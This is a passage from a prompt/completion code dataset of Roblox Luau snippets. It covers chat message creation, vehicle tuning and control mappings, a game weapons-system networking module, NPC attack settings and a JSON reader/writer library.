messageData)\n\tend)\n\tmessageData.ExtraData = messageData.ExtraData or {}\n\tmergeProps(extraDeveloperFormatTable, messageData.ExtraData)\n\n\tlocal messageType = messageData.MessageType\n\tif self.MessageCreators[messageType] then\n\t\tlocal createdMessageObject = self.MessageCreators[messageType](messageData, currentChannelName)\n\t\tif createdMessageObject then\n\t\t\treturn self:WrapIntoMessageObject(messageData, createdMessageObject)\n\t\tend\n\telseif self.DefaultCreatorType then\n\t\tlocal createdMessageObject = self.MessageCreators[self.DefaultCreatorType](messageData, currentChannelName)\n\t\tif createdMessageObject then\n\t\t\treturn self:WrapIntoMessageObject(messageData, createdMessageObject)\n\t\tend\n\telse\n\t\terror(\"No message creator available for message type: \" ..messageType)\n\tend\nend\n"} +{"prompt": "--don't go after the left side if the opponent is hugging the wall\n--don't spam hit while not in range (gives opportunity for enemy to attack while lunge is down)\n--make it go closer when the opponent's attack is on cooldown\n--realize that once it's being attacked, if the opponent is plays optimally it can't dodge so try maneuvers while attacking\n--make it not attempt to back off when it's already being hit\n--back off when lunging Almost over and down", "completion": "\n"} +{"prompt": "-- ROBLOX deviation: omitted since Luau doesn't have mixed type arrays\n-- Either original functions or wrapped to swap indexes if graph is transposed.\n-- export type Callbacks = {\n-- \tFoundSubsequence;\n-- \tIsCommon;\n-- };", "completion": "\nexport type Callbacks = Array\n"} +{"prompt": "--[[Brakes]]", "completion": "\n\tTune.ABSEnabled\t\t= false\t\t-- Implements ABS\n\tTune.ABSThreshold\t= 20\t\t-- Slip speed allowed before ABS starts working (in SPS) \n\n\tTune.FBrakeForce\t= 5000\t\t-- Front brake force\n\tTune.RBrakeForce\t= 6000\t\t-- Rear brake force\n\tTune.PBrakeForce\t= 20000\t\t-- Handbrake force\n\t\n\tTune.FLgcyBForce\t= 5000\t\t-- Front brake force [PGS OFF]\n\tTune.RLgcyBForce\t= 4500\t\t-- Rear brake force [PGS OFF]\n\tTune.LgcyPBForce\t= 20000\t\t-- Handbrake force [PGS OFF]\n\t"} +{"prompt": "--[[[Default Controls]]", "completion": "\n\t--Peripheral Deadzones\n\tTune.Peripherals = {\n\t\tMSteerWidth\t\t\t\t= 67\t\t,\t-- Mouse steering control width\t(0 - 100% of screen width)\n\t\tMSteerDZone\t\t\t\t= 10\t\t,\t-- Mouse steering deadzone (0 - 100%)\n\t\t\n\t\tControlLDZone\t\t\t= 5\t\t\t,\t-- Controller steering L-deadzone (0 - 100%)\n\t\tControlRDZone\t\t\t= 5\t\t\t,\t-- Controller steering R-deadzone (0 - 100%)\n\t}\n\t\n\t--Control Mapping\n\tTune.Controls = {\n\t\t\n\t--Keyboard Controls\n\t\t--Mode Toggles\n\t\tToggleTCS\t\t\t\t= Enum.KeyCode.T\t\t\t\t\t,\n\t\tToggleABS\t\t\t\t= Enum.KeyCode.Y\t\t\t\t\t,\n\t\tToggleTransMode\t\t\t= Enum.KeyCode.M\t\t\t\t\t,\n\t\t\n\t\t--Primary Controls\n\t\tThrottle\t\t\t\t= Enum.KeyCode.Up\t\t\t\t\t,\n\t\tBrake\t\t\t\t\t= Enum.KeyCode.Down\t\t\t\t\t,\n\t\tSteerLeft\t\t\t\t= Enum.KeyCode.Left\t\t\t\t\t,\n\t\tSteerRight\t\t\t\t= Enum.KeyCode.Right\t\t\t\t,\n\t\t\n\t\t--Secondary Controls\n\t\tThrottle2\t\t\t\t= Enum.KeyCode.W\t\t\t\t\t,\n\t\tBrake2\t\t\t\t\t= Enum.KeyCode.S\t\t\t\t\t,\n\t\tSteerLeft2\t\t\t\t= Enum.KeyCode.A\t\t\t\t\t,\n\t\tSteerRight2\t\t\t\t= Enum.KeyCode.D\t\t\t\t\t,\n\t\t\n\t\t--Manual Transmission\n\t\tShiftUp\t\t\t\t\t= Enum.KeyCode.E\t\t\t\t\t,\n\t\tShiftDown\t\t\t\t= Enum.KeyCode.Q\t\t\t\t\t,\n\t\tClutch\t\t\t\t\t= Enum.KeyCode.LeftShift\t\t\t,\n\t\t\n\t\t--Handbrake\n\t\tPBrake\t\t\t\t\t= Enum.KeyCode.P\t\t\t\t\t,\n\t\t\n\t--Mouse Controls\n\t\tMouseThrottle\t\t\t= Enum.UserInputType.MouseButton1\t,\n\t\tMouseBrake\t\t\t\t= Enum.UserInputType.MouseButton2\t,\n\t\tMouseClutch\t\t\t\t= Enum.KeyCode.W\t\t\t\t\t,\n\t\tMouseShiftUp\t\t\t= Enum.KeyCode.E\t\t\t\t\t,\n\t\tMouseShiftDown\t\t\t= Enum.KeyCode.Q\t\t\t\t\t,\n\t\tMousePBrake\t\t\t\t= Enum.KeyCode.LeftShift\t\t\t,\n\t\t\n\t--Controller Mapping\n\t\tContlrThrottle\t\t\t= Enum.KeyCode.ButtonR2\t\t\t\t,\n\t\tContlrBrake\t\t\t\t= Enum.KeyCode.ButtonL2\t\t\t\t,\n\t\tContlrSteer\t\t\t\t= Enum.KeyCode.Thumbstick1\t\t\t,\n\t\tContlrShiftUp\t\t\t= Enum.KeyCode.ButtonY\t\t\t\t,\n\t\tContlrShiftDown\t\t\t= Enum.KeyCode.ButtonX\t\t\t\t,\n\t\tContlrClutch\t\t\t= Enum.KeyCode.ButtonR1\t\t\t\t,\n\t\tContlrPBrake\t\t\t= Enum.KeyCode.ButtonL1\t\t\t\t,\n\t\tContlrToggleTMode\t\t= Enum.KeyCode.DPadUp\t\t\t\t,\n\t\tContlrToggleTCS\t\t\t= Enum.KeyCode.DPadDown\t\t\t\t,\n\t\tContlrToggleABS\t\t\t= Enum.KeyCode.DPadRight\t\t\t,\n\t}\n\t\nreturn Tune\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 95\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 800\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 8000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 9000\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.EqPoint\t\t= 6100\n\tTune.PeakSharpness\t= 3.8\n\tTune.CurveMult\t\t= 0.07\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.5\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 450\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 150\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 0\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response, lower = more stable RPM)\n\t"} +{"prompt": "--Set up WeaponTypes lookup table", "completion": "\ndo\n\tlocal function onNewWeaponType(weaponTypeModule)\n\t\tif not weaponTypeModule:IsA(\"ModuleScript\") then\n\t\t\treturn\n\t\tend\n\t\tlocal weaponTypeName = weaponTypeModule.Name\n\t\txpcall(function()\n\t\t\tcoroutine.wrap(function()\n\t\t\t\tlocal weaponType = require(weaponTypeModule)\n\t\t\t\tassert(typeof(weaponType) == \"table\", string.format(\"WeaponType \\\"%s\\\" did not return a valid table\", weaponTypeModule:GetFullName()))\n\t\t\t\tWEAPON_TYPES_LOOKUP[weaponTypeName] = weaponType\n\t\t\tend)()\n\t\tend, function(errMsg)\n\t\t\twarn(string.format(\"Error while loading %s: %s\", weaponTypeModule:GetFullName(), errMsg))\n\t\t\twarn(debug.traceback())\n\t\tend)\n\tend\n\tfor _, child in pairs(WeaponTypes:GetChildren()) do\n\t\tonNewWeaponType(child)\n\tend\n\tWeaponTypes.ChildAdded:Connect(onNewWeaponType)\nend\n\nlocal WeaponsSystem = {}\nWeaponsSystem.didSetup = false\nWeaponsSystem.knownWeapons = {}\nWeaponsSystem.connections = {}\nWeaponsSystem.networkFolder = nil\nWeaponsSystem.remoteEvents = {}\nWeaponsSystem.remoteFunctions = {}\nWeaponsSystem.currentWeapon = nil\nWeaponsSystem.aimRayCallback = nil\n\nWeaponsSystem.CurrentWeaponChanged = Instance.new(\"BindableEvent\")\n\nlocal NetworkingCallbacks = require(WeaponsSystemFolder:WaitForChild(\"NetworkingCallbacks\"))\nNetworkingCallbacks.WeaponsSystem = WeaponsSystem\n\nlocal _damageCallback = nil\nlocal _getTeamCallback = nil\n\nfunction WeaponsSystem.setDamageCallback(cb)\n\t_damageCallback = cb\nend\n\nfunction WeaponsSystem.setGetTeamCallback(cb)\n\t_getTeamCallback = cb\nend\n\nfunction WeaponsSystem.setup()\n\tif WeaponsSystem.didSetup then\n\t\twarn(\"Warning: trying to run WeaponsSystem setup twice on the same module.\")\n\t\treturn\n\tend\n\tprint(script.Parent:GetFullName(), \"is now active.\")\n\n\tWeaponsSystem.doingSetup = true\n\n\t--Setup network routing\n\tif IsServer then\n\t\tlocal networkFolder = Instance.new(\"Folder\")\n\t\tnetworkFolder.Name = \"Network\"\n\n\t\tfor _, remoteEventName in pairs(REMOTE_EVENT_NAMES) do\n\t\t\tlocal remoteEvent = Instance.new(\"RemoteEvent\")\n\t\t\tremoteEvent.Name = remoteEventName\n\t\t\tremoteEvent.Parent = networkFolder\n\n\t\t\tlocal callback = NetworkingCallbacks[remoteEventName]\n\t\t\tif not callback then\n\t\t\t\t--Connect a no-op function to ensure the queue doesn't pile up.\n\t\t\t\twarn(\"There is no server callback implemented for the WeaponsSystem RemoteEvent \\\"%s\\\"!\")\n\t\t\t\twarn(\"A default no-op function will be implemented so that the queue cannot be abused.\")\n\t\t\t\tcallback = function() end\n\t\t\tend\n\t\t\tWeaponsSystem.connections[remoteEventName .. \"Remote\"] = remoteEvent.OnServerEvent:Connect(function(...)\n\t\t\t\tcallback(...)\n\t\t\tend)\n\t\t\tWeaponsSystem.remoteEvents[remoteEventName] = remoteEvent\n\t\tend\n\t\tfor _, remoteFuncName in pairs(REMOTE_FUNCTION_NAMES) do\n\t\t\tlocal remoteFunc = Instance.new(\"RemoteEvent\")\n\t\t\tremoteFunc.Name = remoteFuncName\n\t\t\tremoteFunc.Parent = networkFolder\n\n\t\t\tlocal callback = NetworkingCallbacks[remoteFuncName]\n\t\t\tif not callback then\n\t\t\t\t--Connect a no-op function to ensure the queue doesn't pile up.\n\t\t\t\twarn(\"There is no server callback implemented for the WeaponsSystem RemoteFunction \\\"%s\\\"!\")\n\t\t\t\twarn(\"A default no-op function will be implemented so that the queue cannot be abused.\")\n\t\t\t\tcallback = function() end\n\t\t\tend\n\t\t\tremoteFunc.OnServerInvoke = function(...)\n\t\t\t\treturn callback(...)\n\t\t\tend\n\t\t\tWeaponsSystem.remoteFunctions[remoteFuncName] = remoteFunc\n\t\tend\n\n\t\tnetworkFolder.Parent = WeaponsSystemFolder\n\t\tWeaponsSystem.networkFolder = networkFolder\n\telse\n\t\tWeaponsSystem.StarterGui = game:GetService(\"StarterGui\")\n\n\t\tWeaponsSystem.camera = ShoulderCamera.new(WeaponsSystem)\n\t\tWeaponsSystem.gui = WeaponsGui.new(WeaponsSystem)\n\n\t\tif ConfigurationValues.SprintEnabled.Value then\n\t\t\tWeaponsSystem.camera:setSprintEnabled(ConfigurationValues.SprintEnabled.Value)\n\t\tend\n\t\t\n\t\tif ConfigurationValues.SlowZoomWalkEnabled.Value then\n\t\t\tWeaponsSystem.camera:setSlowZoomWalkEnabled(ConfigurationValues.SlowZoomWalkEnabled.Value)\n\t\tend\n\n\t\tlocal networkFolder = WeaponsSystemFolder:WaitForChild(\"Network\", math.huge)\n\n\t\tfor _, remoteEventName in pairs(REMOTE_EVENT_NAMES) do\n\t\t\tcoroutine.wrap(function()\n\t\t\t\tlocal remoteEvent = networkFolder:WaitForChild(remoteEventName, math.huge)\n\t\t\t\tlocal callback = NetworkingCallbacks[remoteEventName]\n\t\t\t\tif callback then\n\t\t\t\t\tWeaponsSystem.connections[remoteEventName .. \"Remote\"] = remoteEvent.OnClientEvent:Connect(function(...)\n\t\t\t\t\t\tcallback(...)\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\t\tWeaponsSystem.remoteEvents[remoteEventName] = remoteEvent\n\t\t\tend)()\n\t\tend\n\t\tfor _, remoteFuncName in pairs(REMOTE_FUNCTION_NAMES) do\n\t\t\tcoroutine.wrap(function()\n\t\t\t\tlocal remoteFunc = networkFolder:WaitForChild(remoteFuncName, math.huge)\n\t\t\t\tlocal callback = NetworkingCallbacks[remoteFuncName]\n\t\t\t\tif callback then\n\t\t\t\t\tremoteFunc.OnClientInvoke = function(...)\n\t\t\t\t\t\treturn callback(...)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tWeaponsSystem.remoteFunctions[remoteFuncName] = remoteFunc\n\t\t\tend)()\n\t\tend\n\n\t\tPlayers.LocalPlayer.CharacterAdded:Connect(WeaponsSystem.onCharacterAdded)\n\t\tif Players.LocalPlayer.Character then\n\t\t\tWeaponsSystem.onCharacterAdded(Players.LocalPlayer.Character)\n\t\tend\n\n\t\tWeaponsSystem.networkFolder = networkFolder\n\t\tWeaponsSystem.camera:setEnabled(true)\n\tend\n\n\t--Setup weapon tools and listening\n\tWeaponsSystem.connections.weaponAdded = CollectionService:GetInstanceAddedSignal(WEAPON_TAG):Connect(WeaponsSystem.onWeaponAdded)\n\tWeaponsSystem.connections.weaponRemoved = CollectionService:GetInstanceRemovedSignal(WEAPON_TAG):Connect(WeaponsSystem.onWeaponRemoved)\n\n\tfor _, instance in pairs(CollectionService:GetTagged(WEAPON_TAG)) do\n\t\tWeaponsSystem.onWeaponAdded(instance)\n\tend\n\n\tWeaponsSystem.doingSetup = false\n\tWeaponsSystem.didSetup = true\nend\n\nfunction WeaponsSystem.onCharacterAdded(character)\n\t-- Make it so players unequip weapons while seated, then reequip weapons when they become unseated\n\tlocal humanoid = character:WaitForChild(\"Humanoid\")\n\tWeaponsSystem.connections.seated = humanoid.Seated:Connect(function(isSeated)\n\t\tif isSeated then\n\t\t\tWeaponsSystem.seatedWeapon = character:FindFirstChildOfClass(\"Tool\")\n\t\t\thumanoid:UnequipTools()\n\t\t\tWeaponsSystem.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false)\n\t\telse\n\t\t\tWeaponsSystem.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)\n\t\t\thumanoid:EquipTool(WeaponsSystem.seatedWeapon)\n\t\tend\n\tend)\nend\n\nfunction WeaponsSystem.shutdown()\n\tif not WeaponsSystem.didSetup then\n\t\treturn\n\tend\n\n\tfor _, weapon in pairs(WeaponsSystem.knownWeapons) do\n\t\tweapon:onDestroyed()\n\tend\n\tWeaponsSystem.knownWeapons = {}\n\n\tif IsServer and WeaponsSystem.networkFolder then\n\t\tWeaponsSystem.networkFolder:Destroy()\n\tend\n\tWeaponsSystem.networkFolder = nil\n\tWeaponsSystem.remoteEvents = {}\n\tWeaponsSystem.remoteFunctions = {}\n\n\tfor _, connection in pairs(WeaponsSystem.connections) do\n\t\tif typeof(connection) == \"RBXScriptConnection\" then\n\t\t\tconnection:Disconnect()\n\t\tend\n\tend\n\tWeaponsSystem.connections = {}\nend\n\nfunction WeaponsSystem.getWeaponTypeFromTags(instance)\n\tfor _, tag in pairs(CollectionService:GetTags(instance)) do\n\t\tlocal weaponTypeFound = WEAPON_TYPES_LOOKUP[tag]\n\t\tif weaponTypeFound then\n\t\t\treturn weaponTypeFound\n\t\tend\n\tend\n\n\treturn nil\nend\n\nfunction WeaponsSystem.createWeaponForInstance(weaponInstance)\n\tcoroutine.wrap(function()\n\t\tlocal weaponType = WeaponsSystem.getWeaponTypeFromTags(weaponInstance)\n\t\tif not weaponType then\n\t\t\tlocal weaponTypeObj = weaponInstance:WaitForChild(\"WeaponType\")\n\n\t\t\tif weaponTypeObj and weaponTypeObj:IsA(\"StringValue\") then\n\t\t\t\tlocal weaponTypeName = weaponTypeObj.Value\n\t\t\t\tlocal weaponTypeFound = WEAPON_TYPES_LOOKUP[weaponTypeName]\n\t\t\t\tif not weaponTypeFound then\n\t\t\t\t\twarn(string.format(\"Cannot find the weapon type \\\"%s\\\" for the instance %s!\", weaponTypeName, weaponInstance:GetFullName()))\n\t\t\t\t\treturn\n\t\t\t\tend\n\n\t\t\t\tweaponType = weaponTypeFound\n\t\t\telse\n\t\t\t\twarn(\"Could not find a WeaponType tag or StringValue for the instance \", weaponInstance:GetFullName())\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\n\t\t-- Since we might have yielded while trying to get the WeaponType, we need to make sure not to continue\n\t\t-- making a new weapon if something else beat this iteration.\n\t\tif WeaponsSystem.getWeaponForInstance(weaponInstance) then\n\t\t\twarn(\"Already got \", weaponInstance:GetFullName())\n\t\t\twarn(debug.traceback())\n\t\t\treturn\n\t\tend\n\n\t\t-- We should be pretty sure we got a valid weaponType by now\n\t\tassert(weaponType, \"Got invalid weaponType\")\n\n\t\tlocal weapon = weaponType.new(WeaponsSystem, weaponInstance)\n\t\tWeaponsSystem.knownWeapons[weaponInstance] = weapon\n\tend)()\nend\n\nfunction WeaponsSystem.getWeaponForInstance(weaponInstance)\n\tif not typeof(weaponInstance) == \"Instance\" then\n\t\twarn(\"WeaponsSystem.getWeaponForInstance(weaponInstance): 'weaponInstance' was not an instance.\")\n\t\treturn nil\n\tend\n\n\treturn WeaponsSystem.knownWeapons[weaponInstance]\nend\n"} +{"prompt": "-- When key released", "completion": "\nfunction onKeyUp(key)\n\tif key == nil then return end\n\tkey = key:lower()\n\t\n\t-- Stop firing MG\n\tif key == 'f' then\n\t\tfiringMg = false;\n\tend\nend\n\nscript.Parent.Selected:connect(onSelected)\nscript.Parent.Deselected:connect(onDeselected)\n"} +{"prompt": "-- Set the callback function for Invoke to call\n-- func: function(feedbackType: string, message: string) -> table", "completion": "\nfunction BeforeSubmit.OnInvoke(func)\n\tcallback = func\nend\n"} +{"prompt": "--// Positioning", "completion": "\n\tRightArmPos = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08);\n\tLeftArmPos = CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098);\n\tGunPos = CFrame.new(0.284460306, -0.318524063, 1.06423128, 1, 0, 0, 0, -2.98023224e-08, -0.99999994, 0, 0.99999994, -2.98023224e-08);\n\t"} +{"prompt": "-- Attack configuration", "completion": "\nlocal ATTACK_MODE = getValueFromConfig(\"AttackMode\")\nlocal ATTACK_RADIUS = getValueFromConfig(\"AttackRadius\")\nlocal ATTACK_DAMAGE = getValueFromConfig(\"AttackDamage\")\nlocal ATTACK_DELAY = getValueFromConfig(\"AttackDelay\")\nlocal RELOAD_DELAY = getValueFromConfig(\"ReloadDelay\")\nlocal CLIP_CAPACITY = getValueFromConfig(\"ClipCapacity\")\n"} +{"prompt": "--THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, \n--EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES \n--OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n--IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR \n--ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF \n--CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN \n--CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.", "completion": "\n\nlocal string = string\nlocal math = math\nlocal table = table\nlocal error = error\nlocal tonumber = tonumber\nlocal tostring = tostring\nlocal type = type\nlocal setmetatable = setmetatable\nlocal pairs = pairs\nlocal ipairs = ipairs\nlocal assert = assert\n\n\nlocal StringBuilder = {\n\tbuffer = {}\n}\n\nfunction StringBuilder:New()\n\tlocal o = {}\n\tsetmetatable(o, self)\n\tself.__index = self\n\to.buffer = {}\n\treturn o\nend\n\nfunction StringBuilder:Append(s)\n\tself.buffer[#self.buffer+1] = s\nend\n\nfunction StringBuilder:ToString()\n\treturn table.concat(self.buffer)\nend\n\nlocal JsonWriter = {\n\tbackslashes = {\n\t\t['\\b'] = \"\\\\b\",\n\t\t['\\t'] = \"\\\\t\",\t\n\t\t['\\n'] = \"\\\\n\", \n\t\t['\\f'] = \"\\\\f\",\n\t\t['\\r'] = \"\\\\r\", \n\t\t['\"'] = \"\\\\\\\"\", \n\t\t['\\\\'] = \"\\\\\\\\\", \n\t\t['/'] = \"\\\\/\"\n\t}\n}\n\nfunction JsonWriter:New()\n\tlocal o = {}\n\to.writer = StringBuilder:New()\n\tsetmetatable(o, self)\n\tself.__index = self\n\treturn o\nend\n\nfunction JsonWriter:Append(s)\n\tself.writer:Append(s)\nend\n\nfunction JsonWriter:ToString()\n\treturn self.writer:ToString()\nend\n\nfunction JsonWriter:Write(o)\n\tlocal t = type(o)\n\tif t == \"nil\" then\n\t\tself:WriteNil()\n\telseif t == \"boolean\" then\n\t\tself:WriteString(o)\n\telseif t == \"number\" then\n\t\tself:WriteString(o)\n\telseif t == \"string\" then\n\t\tself:ParseString(o)\n\telseif t == \"table\" then\n\t\tself:WriteTable(o)\n\telseif t == \"function\" then\n\t\tself:WriteFunction(o)\n\telseif t == \"thread\" then\n\t\tself:WriteError(o)\n\telseif t == \"userdata\" then\n\t\tself:WriteError(o)\n\tend\nend\n\nfunction JsonWriter:WriteNil()\n\tself:Append(\"null\")\nend\n\nfunction JsonWriter:WriteString(o)\n\tself:Append(tostring(o))\nend\n\nfunction JsonWriter:ParseString(s)\n\tself:Append('\"')\n\tself:Append(string.gsub(s, \"[%z%c\\\\\\\"/]\", function(n)\n\t\tlocal c = self.backslashes[n]\n\t\tif c then return c end\n\t\treturn string.format(\"\\\\u%.4X\", string.byte(n))\n\tend))\n\tself:Append('\"')\nend\n\nfunction JsonWriter:IsArray(t)\n\tlocal count = 0\n\tlocal isindex = function(k) \n\t\tif type(k) == \"number\" and k > 0 then\n\t\t\tif math.floor(k) == k then\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend\n\tfor k,v in pairs(t) do\n\t\tif not isindex(k) then\n\t\t\treturn false, '{', '}'\n\t\telse\n\t\t\tcount = math.max(count, k)\n\t\tend\n\tend\n\treturn true, '[', ']', count\nend\n\nfunction JsonWriter:WriteTable(t)\n\tlocal ba, st, et, n = self:IsArray(t)\n\tself:Append(st)\t\n\tif ba then\t\t\n\t\tfor i = 1, n do\n\t\t\tself:Write(t[i])\n\t\t\tif i < n then\n\t\t\t\tself:Append(',')\n\t\t\tend\n\t\tend\n\telse\n\t\tlocal first = true;\n\t\tfor k, v in pairs(t) do\n\t\t\tif not first then\n\t\t\t\tself:Append(',')\n\t\t\tend\n\t\t\tfirst = false;\t\t\t\n\t\t\tself:ParseString(k)\n\t\t\tself:Append(':')\n\t\t\tself:Write(v)\t\t\t\n\t\tend\n\tend\n\tself:Append(et)\nend\n\nfunction JsonWriter:WriteError(o)\n\terror(string.format(\n\t\t\"Encoding of %s unsupported\", \n\t\ttostring(o)))\nend\n\nfunction JsonWriter:WriteFunction(o)\n\tif o == Null then \n\t\tself:WriteNil()\n\telse\n\t\tself:WriteError(o)\n\tend\nend\n\nlocal StringReader = {\n\ts = \"\",\n\ti = 0\n}\n\nfunction StringReader:New(s)\n\tlocal o = {}\n\tsetmetatable(o, self)\n\tself.__index = self\n\to.s = s or o.s\n\treturn o\t\nend\n\nfunction StringReader:Peek()\n\tlocal i = self.i + 1\n\tif i <= #self.s then\n\t\treturn string.sub(self.s, i, i)\n\tend\n\treturn nil\nend\n\nfunction StringReader:Next()\n\tself.i = self.i+1\n\tif self.i <= #self.s then\n\t\treturn string.sub(self.s, self.i, self.i)\n\tend\n\treturn nil\nend\n\nfunction StringReader:All()\n\treturn self.s\nend\n\nlocal JsonReader = {\n\tescapes = {\n\t\t['t'] = '\\t',\n\t\t['n'] = '\\n',\n\t\t['f'] = '\\f',\n\t\t['r'] = '\\r',\n\t\t['b'] = '\\b',\n\t}\n}\n\nfunction JsonReader:New(s)\n\tlocal o = {}\n\to.reader = StringReader:New(s)\n\tsetmetatable(o, self)\n\tself.__index = self\n\treturn o;\nend\n\nfunction JsonReader:Read()\n\tself:SkipWhiteSpace()\n\tlocal peek = self:Peek()\n\tif peek == nil then\n\t\terror(string.format(\n\t\t\t\"Nil string: '%s'\", \n\t\t\tself:All()))\n\telseif peek == '{' then\n\t\treturn self:ReadObject()\n\telseif peek == '[' then\n\t\treturn self:ReadArray()\n\telseif peek == '\"' then\n\t\treturn self:ReadString()\n\telseif string.find(peek, \"[%+%-%d]\") then\n\t\treturn self:ReadNumber()\n\telseif peek == 't' then\n\t\treturn self:ReadTrue()\n\telseif peek == 'f' then\n\t\treturn self:ReadFalse()\n\telseif peek == 'n' then\n\t\treturn self:ReadNull()\n\telseif peek == '/' then\n\t\tself:ReadComment()\n\t\treturn self:Read()\n\telse\n\t\treturn nil\n\tend\nend\n\nfunction JsonReader:ReadTrue()\n\tself:TestReservedWord{'t','r','u','e'}\n\treturn true\nend\n\nfunction JsonReader:ReadFalse()\n\tself:TestReservedWord{'f','a','l','s','e'}\n\treturn false\nend\n\nfunction JsonReader:ReadNull()\n\tself:TestReservedWord{'n','u','l','l'}\n\treturn nil\nend\n\nfunction JsonReader:TestReservedWord(t)\n\tfor i, v in ipairs(t) do\n\t\tif self:Next() ~= v then\n\t\t\terror(string.format(\n\t\t\t\t\"Error reading '%s': %s\", \n\t\t\t\ttable.concat(t), \n\t\t\t\tself:All()))\n\t\tend\n\tend\nend\n\nfunction JsonReader:ReadNumber()\n\tlocal result = self:Next()\n\tlocal peek = self:Peek()\n\twhile peek ~= nil and string.find(\n\t\tpeek, \n\t\t\"[%+%-%d%.eE]\") do\n\t\tresult = result .. self:Next()\n\t\tpeek = self:Peek()\n\tend\n\tresult = tonumber(result)\n\tif result == nil then\n\t\terror(string.format(\n\t\t\t\"Invalid number: '%s'\", \n\t\t\tresult))\n\telse\n\t\treturn result\n\tend\nend\n\nfunction JsonReader:ReadString()\n\tlocal result = \"\"\n\tassert(self:Next() == '\"')\n\twhile self:Peek() ~= '\"' do\n\t\tlocal ch = self:Next()\n\t\tif ch == '\\\\' then\n\t\t\tch = self:Next()\n\t\t\tif self.escapes[ch] then\n\t\t\t\tch = self.escapes[ch]\n\t\t\tend\n\t\tend\n\t\tresult = result .. ch\n\tend\n\tassert(self:Next() == '\"')\n\tlocal fromunicode = function(m)\n\t\treturn string.char(tonumber(m, 16))\n\tend\n\treturn string.gsub(\n\t\tresult, \n\t\t\"u%x%x(%x%x)\", \n\t\tfromunicode)\nend\n\nfunction JsonReader:ReadComment()\n\tassert(self:Next() == '/')\n\tlocal second = self:Next()\n\tif second == '/' then\n\t\tself:ReadSingleLineComment()\n\telseif second == '*' then\n\t\tself:ReadBlockComment()\n\telse\n\t\terror(string.format(\n\t\t\t\"Invalid comment: %s\", \n\t\t\tself:All()))\n\tend\nend\n\nfunction JsonReader:ReadBlockComment()\n\tlocal done = false\n\twhile not done do\n\t\tlocal ch = self:Next()\t\t\n\t\tif ch == '*' and self:Peek() == '/' then\n\t\t\tdone = true\n\t\tend\n\t\tif not done and \n\t\t\tch == '/' and \n\t\t\tself:Peek() == \"*\" then\n\t\t\terror(string.format(\n\t\t\t\t\"Invalid comment: %s, '/*' illegal.\", \n\t\t\t\tself:All()))\n\t\tend\n\tend\n\tself:Next()\nend\n\nfunction JsonReader:ReadSingleLineComment()\n\tlocal ch = self:Next()\n\twhile ch ~= '\\r' and ch ~= '\\n' do\n\t\tch = self:Next()\n\tend\nend\n\nfunction JsonReader:ReadArray()\n\tlocal result = {}\n\tassert(self:Next() == '[')\n\tlocal done = false\n\tif self:Peek() == ']' then\n\t\tdone = true;\n\tend\n\twhile not done do\n\t\tlocal item = self:Read()\n\t\tresult[#result+1] = item\n\t\tself:SkipWhiteSpace()\n\t\tif self:Peek() == ']' then\n\t\t\tdone = true\n\t\tend\n\t\tif not done then\n\t\t\tlocal ch = self:Next()\n\t\t\tif ch ~= ',' then\n\t\t\t\terror(string.format(\n\t\t\t\t\t\"Invalid array: '%s' due to: '%s'\", \n\t\t\t\t\tself:All(), ch))\n\t\t\tend\n\t\tend\n\tend\n\tassert(']' == self:Next())\n\treturn result\nend\n\nfunction JsonReader:ReadObject()\n\tlocal result = {}\n\tassert(self:Next() == '{')\n\tlocal done = false\n\tif self:Peek() == '}' then\n\t\tdone = true\n\tend\n\twhile not done do\n\t\tlocal key = self:Read()\n\t\tif type(key) ~= \"string\" then\n\t\t\terror(string.format(\n\t\t\t\t\"Invalid non-string object key: %s\", \n\t\t\t\tkey))\n\t\tend\n\t\tself:SkipWhiteSpace()\n\t\tlocal ch = self:Next()\n\t\tif ch ~= ':' then\n\t\t\terror(string.format(\n\t\t\t\t\"Invalid object: '%s' due to: '%s'\", \n\t\t\t\tself:All(), \n\t\t\t\tch))\n\t\tend\n\t\tself:SkipWhiteSpace()\n\t\tlocal val = self:Read()\n\t\tresult[key] = val\n\t\tself:SkipWhiteSpace()\n\t\tif self:Peek() == '}' then\n\t\t\tdone = true\n\t\tend\n\t\tif not done then\n\t\t\tch = self:Next()\n\t\t\tif ch ~= ',' then\n\t\t\t\terror(string.format(\n\t\t\t\t\t\"Invalid array: '%s' near: '%s'\", \n\t\t\t\t\tself:All(), \n\t\t\t\t\tch))\n\t\t\tend\n\t\tend\n\tend\n\tassert(self:Next() == \"}\")\n\treturn result\nend\n\nfunction JsonReader:SkipWhiteSpace()\n\tlocal p = 